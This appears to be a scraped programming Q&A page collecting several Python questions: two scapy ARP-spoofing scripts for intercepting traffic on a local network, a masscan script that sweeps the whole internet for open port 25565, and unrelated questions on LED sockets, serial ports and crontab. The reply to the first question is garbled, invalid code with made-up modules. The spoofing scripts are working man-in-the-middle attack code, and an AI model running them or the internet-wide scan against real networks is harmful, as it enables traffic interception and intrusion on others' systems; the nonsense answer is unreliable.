How to overcome this Index error in Python - python

The code given below is exactly as shown in the tutorial(zsecurity)
it seems the code does not working only on my system.i run this code in linux (virtual box).
this is an arpspoofing used to become the man in the middle in local network.
i implement this attack on the another guest os windows 10.
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip, spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac,psrc=source_ip, hwsrc=source_mac)
scapy.send(packet,count=4, verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)

Try using this.
from socket import *
from overflows import *
import use_socket
def connect(ipv6_addr: Dec, port: simplicity, port:paste, from_port: av) as orig:
NetworkPort_ping, delegate_messed_port: 127.0. 0.0
History().channel(fl)
CountDownPorts(chain_count, 0)
TcpTelnetPort.connect(port, to_network(port))
Serial_packet
Serial.wait(boot_java)
For USB_Added = True
if (usb_usb.ReadScreen):
print("USB receiving device")
print which.ip_port()
print def.rid
callback.data
ELSE
byte_frame += 1
will crash unless "++com_available" is attempting to be done later
sends_over(dot, sleep.status)
print "Connected :\n"
na_registered.send(500)

Related

dramatiq is using parts of code where it shouldnt

Im currently writing a programm which scans the internet for port:25565. When it finds a open port a function as dramatiq acotr is called which check the adress(ip + port) for deatails. But dramatiq uses more than the function.
import json
import masscan
import socket
import dramatiq
import redis
import random
import pymongo
from colorama import Fore,init
init()
red = Fore.RED
white = Fore.WHITE
r = redis.Redis()
queue = "mc_check_queue"
client = pymongo.MongoClient("192.168.188.32:27017")
if client.server_info():
print("Connected to MongoDB successfully!")
else:
print("Could not connect to MongoDB.")
db = client["treffer"]
collection = db["ips"]
#dramatiq.actor
def mc_and_check_task(ip):
ip = JavaServer.lookup(ip)
try:
status = ip.status()
print(status)
mc_status = {"ip": ip, "status": status}
collection.insert_one(mc_status)
except socket.timeout:
return "Fehler socket.timeout"
except BrokenPipeError:
return "Fehler BrokenPipeError"
except Exception as e:
return f"An error occurred: + {e}"
A = list(range(1,255))
B = list(range(1,255))
random.shuffle(A)
random.shuffle(B)
ip_ranges = []
for a in A:
for b in B:
ip_range = f"{a}.{b}.0.0/16"
ip_ranges.append(ip_range)
for ip_range in ip_ranges:
print(ip_range)
try:
mas = masscan.PortScanner()
mas.scan(ip_range, ports="25565", arguments="--max-rate 1000000")
x = json.loads(mas.scan_result)
len_result = len(x["scan"])
if len_result > 0:
print(f"Results: {red}{len_result}")
else:
print(f"Results: {white}{len_result}")
for ip in x["scan"]:
adresse = ip + ":" + "25565"
mc_and_check_task.send(adresse)
for document in db.collection.find():
print(document)
except masscan.NetworkConnectionError:
print(f"{ip_range}masscan connection error")
print("done scanning")
The dramatiq terminal output looks like this:
165.227.0.0/16
Results:
0
done scanning
81.222.0.0/16
Results:
0
done scanning
243.155.0.0/16
Results:
0
done scanning
The output of the main terminal looks identical except that in the main window it takes like 10 sec for a new ip range to get printed due to scanning. The dramatiq windows on the other hand just prints out random ip ranges. Why does the decorator include more than just the function. What I want is that the status of the adress is printed in the dramatiq window and the ip range + results + done scanning in the main window.
Thanks.

How to properly use Dynamic Printing with Python?

So made this arpspoofing tool with Python, and I just want to print packet numbers sent in a dynamic way, however, the print still goes to a new line each time a packet is sent, I ran it with both python2 and python3 considering (,) and (end="") in either of them but I can't achieve that, here's my code:
#!usr/bin/env python
import sys
import time
import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=3, verbose=False)[0]
print(" ")
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("192.168.100.2", "192.168.100.1")
spoof("192.168.100.1", "192.168.100.2")
sent_packets_count += 2
print("\r[+] Packets sent: " + str(sent_packets_count), end="")
sys.stdout.flush()
time.sleep(2)

Is there a way to sync sending information across sockets on a network?

I am programming ada fruit ring LED lights in python, I have setup a local network for a midi controller to read data into my Raspberry Pi 3 and send to the 3 Pi Zero W through web sockets. I am running into the issue where some of the functions I have that run on threads will get out of sync with each other. In other words, one of the LED lights will go at a slightly faster or slower rate and eventually look not synced. I was curious if anyone has run into an issue like this or if I am just using the threads and events the incorrect way.
Here is some of my server side code:
import socket
from socket import *
from threading import Thread
import threading
import board
import neopixel
import sys
import time
import random
import os
from adafruit_led_animation.animation.comet import Comet
def handle_client(client):
p = None
connected = True
lights_on_default()
while True:
global thread_running
data=client.recv(1024).decode()
if not data:
connected = False
thread_running = False
break
if 'Pad' in data:
thread_running = False
thread = threading.Event()
if data == 'Pad 1':
thread_running = False
if p:
p.join()
p = Thread(target=slow_circles, args=(thread,))
p.daemon = True
p.start()
def slow_circles(event):
global thread_running
thread_running = True
while not event.isSet():
if not thread_running:
event.set()
break
for i in range(num_of_pixels):
// goes through the lighting of pixels
if not thread_running:
event.set()
break
pixels.show()
Here is some of my client side code:
import rtmidi.midiutil as midiutil
import time
import socket
buttons = {
36: 'Pad 1',
}
try:
s1 = socket.socket()
s2 = socket.socket()
except:
print('Error making socket')
port1 = 12346
port2 = 12347
serverOne = '192.168.1.18' // 1st Pi Zero W
serverTwo = '192.168.1.17' // 2nd Pi Zero W
def start():
global s1
global s2
notConnected = True
while True:
while notConnected:
connected = False
try:
s1.connect((serverOne, port1))
s2.connect((serverTwo, port2))
connected = True
break
except:
s1.close()
s2.close()
s1.socket.socket()
s2.socket.socket()
if connected:
midiin, port = midiutil.open_midiinput(1)
midiin.set_callback(midiCallback) // gets pad from midi controller
while True:
retry = False
try:
s1.sendall('red connected'.encode('utf8'))
s2.sendall('yellow connected'.encode('utf8'))
except:
retry = True
if retry:
s1.close()
s2.close()
midiin.delete()
break
else:
time.sleep(15)
def midiCallback(message, data):
control = message[0][1]
try:
value = message[0][2]
if (control in button.keys()):
name = buttons[control]
if (value > 0):
return buttonDown(name)
except IndexError:
pass
def buttonDown(button):
s1.sendall(f'{button}'.encode('utf8'))
s2.sendall(f'{button}'.encode('utf8'))
start()
And when I hit the pad and do the function I send data to the two PIs and they start at the same time but over time get out of sync. All help would be appreciated thanks.

Opening 2 serial ports simultaneously in python (one tx one for rx)

I am making a throughput test for a bluetooth link, and I need to send data through a serial port to one bluetooth device which will then transport that data wirelessly to another bluetooth device. The other device will then complete the circuit by sending the data back to the host PC via a different serial port.
The problem seems to be when I attempt to open up 2 different instances of PySerial, the program simply hangs. I have isolated it down to running vs. hanging when I comment out one of the two serial port instantiations. Anyone see a problem with how I'm doing this? If so, what is the proper way to do this? See code below:
#/usr/bin/python
import serial
import time
import sys
DEFAULT_BAUD = 115200
SEND_SIZE = 100
def addPath(file):
pth, fl = os.path.split(__file__)
return os.path.join(pth, file)
def is_number(s):
try:
int(s, 16)
return True
except:
return False
class SerialReader():
def __init__(self, portRx, portTx):
self.portTx = portTx
self.portRx = portRx
self.start_time__sec = time.time()
self.interval__sec = 0
self.buffer = []
self.sendtext = ''.join([str(i) for i in range(SEND_SIZE)])
# send first batch of data
self.portTx.write(self.sendtext)
def didDataArrive(self):
# Read port
self.buffer.extend(list(self.portRx.read(1024)))
# Step through the buffer byte and byte and see if the tick text
# is at the front.
while len(self.buffer) >= len(self.sendtext):
if self.buffer[:len(self.sendtext)] == self.sendtext:
# Discard the tick text
self.buffer = self.buffer[len(self.sendtext):]
# Record time
snapshot__sec = time.time()
self.interval__sec = snapshot__sec - self.start_time__sec
self.start_time__sec = snapshot__sec
# send more data
self.portTx.write(self.sendtext)
return True
else:
self.buffer.pop(0)
return False
def main(port1, port2, baudrate1 = DEFAULT_BAUD, baudrate2 = DEFAULT_BAUD):
try:
import serial
except:
traceback.print_exc()
print "="*60
print "You need to install PySerial"
print "Windows: easy_install pyserial"
print "Mac/Linux: sudo easy_install pyserial"
try:
s1 = serial.Serial(port1, baudrate1, timeout = 0.1)
s2 = serial.Serial(port2, baudrate2, timeout = 0.1)
print "Loading serial ports"
except:
print "Serial port error"
exit()
plot_stop = False
dataread = SerialReader(s2, s1)
try:
while plot_stop == False:
if dataread.didDataArrive():
print dataread.interval__sec
except KeyboardInterrupt:
print "Keyboard Interrupt"
plot_stop = True
finally:
print "Closing"
s1.close()
s2.close()
if __name__ == '__main__':
if (len(sys.argv) < 3):
print "Usage: python extract_data.py phonelink_serialport phonelinkclient_serialport [baudrate1] [baudrate2]"
else:
main(*sys.argv[1:])
If I remove one of the following lines (doesn't matter which one), the python script runs (although it eventually crashes because in the code it eventually tries to reference both ports). If I leave these lines in, the program seems to just hang (it just seems to sit there and run indefinitely):
s1 = serial.Serial(port1, baudrate1, timeout = 0.1)
s2 = serial.Serial(port2, baudrate2, timeout = 0.1)

Python script stops running in crontab after sometime

I have a code which runs i am running in crontab on startup in Raspberry pi(The code runs fine in python "idle"). It has an infinite while loop in it. After sometime the python script stops running. i searched the net and got the following answers that could cause them
https://serverfault.com/questions/399029/python-script-stops-responding-when-run-for-a-long-time
http://www.solutionoferror.com/python/cron-jobbin39-a-python-script-stops-halfway-through-20824.asp (NO REPLY TO THIS ONE)
Cron jobbin' a python script: stops halfway through
At this point I am really confused about what is the reason behind it. I need help in understanding the reason behind this. And also what is the best way to run this code on start up of raspberry pi. Are there any tweaks required for crontab or is there some other method? Please reply elaborately as i am an EE major and not very familiar with linux, raspberry pi(since i have just started using it) and python. The code is as follows:
import threading
import os
import time
import serial
import httplib
import math
#GPS data
os.chdir('/home/pi/Desktop')
#Distance function
def Distance(lat1, long1,lat2,long2):
degree_to_rad = float(math.pi / 180.0)
d_lat = (lat2 - lat1) * degree_to_rad
d_long = (long2 - long1) * degree_to_rad
a = pow(math.sin(d_lat / 2), 2) + math.cos(lat1 * degree_to_rad) * math.cos(lat2 * degree_to_rad) * pow(math.sin(d_long / 2), 2)
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
km = 6367 * c
mi = 3956 * c
return km
#global variables
global ser
global recieveBuffer
global recieveFlag
global webAddress
global data
#Serial Communication Settings
baud = 9600;
#port = 'Com4'
port ='/dev/ttyAMA0'
#default WebAddress and Data
webAddress = "gpsmaster.eu5.org"
webData = "/post.php?"
#Lat and Lng Coordinates, Initialied at Gate
lat=31.470997
lng=74.411116
lumsLat=31.470997
lumsLng=74.411116
ser = serial.Serial(port, baud)
if not ser.isOpen():
ser.open()
recieveBuffer="NULL"
recieveFlag=0
def shutDown():
os.system("sudo shutdown -h now")
def readSerial():
global recieveBuffer
global recieveFlag
global ser
while True:
recieveBuffer = ser.readline()
recieveFlag=1
# Function to Post Data, Return Y for success, N for failure
def httpGet(webAddress,webData):
try:
#print(webAddress)
#print(webData)
conn = httplib.HTTPConnection(webAddress)
conn.request("GET",webData)
res = conn.getresponse()
#print res.status, res.reason
conn.close()
except:
print("Exceptoion!!")
return ['N','Failed']
else:
return ['Y',res]
def replayMaster(ser,recieved):
global lat
global lng
recieved=recieved.replace("\n", "")
recieved=recieved.replace("\r", "")
tokenized = recieved.split(',');
command = tokenized[0]
if command=='AT':
ser.write('<OK>')
elif command=='POST':
if lat!=0 and lng != 0: # and Distance(lumsLat,lumsLng,lat,lng)<50
lat = float(tokenized[1])
lng = float(tokenized[2])
ans = httpGet(webAddress,"%slat=%f&lng=%f" % (webData, lat,lng))
#with open("logFile.txt","a") as fileStream:
# fileStream.write("%s,%f,%f\r\n" % (ans[0],lat,lng))
#fileStream.close()
if ans[0]=='N':
ser.write('<ERROR>')
else:
ser.write('<'+`ans[1].status`+'>')
else:
ser.write('<Invalid Coordinates>')
print ("Invalid Coordinates")
elif command=='CLOSE':
ser.close()
elif command=='HALT':
ser.write('<Shutting Down>');
shutDown()
else:
ser.write('<Unknown Command>')
serialReadThread = threading.Thread(target=readSerial)
serialReadThread.start()
ser.write('<OK>')
while True:
#p#rint Distance(31.470997,74.411116,31.469723,74.512244)
if recieveFlag:
replayMaster(ser,recieveBuffer)
print(recieveBuffer)
recieveFlag=0
print("waiting: |%f|,|%f|"%(lat,lng))
time.sleep(0.4)
I had some issues with the crontab too. I fixed it with using a short time delay after reboot.
#reboot (sleep 10; python3 ABSOLUTE_PATH/example.py)
Maybe this could help

Categories

Resources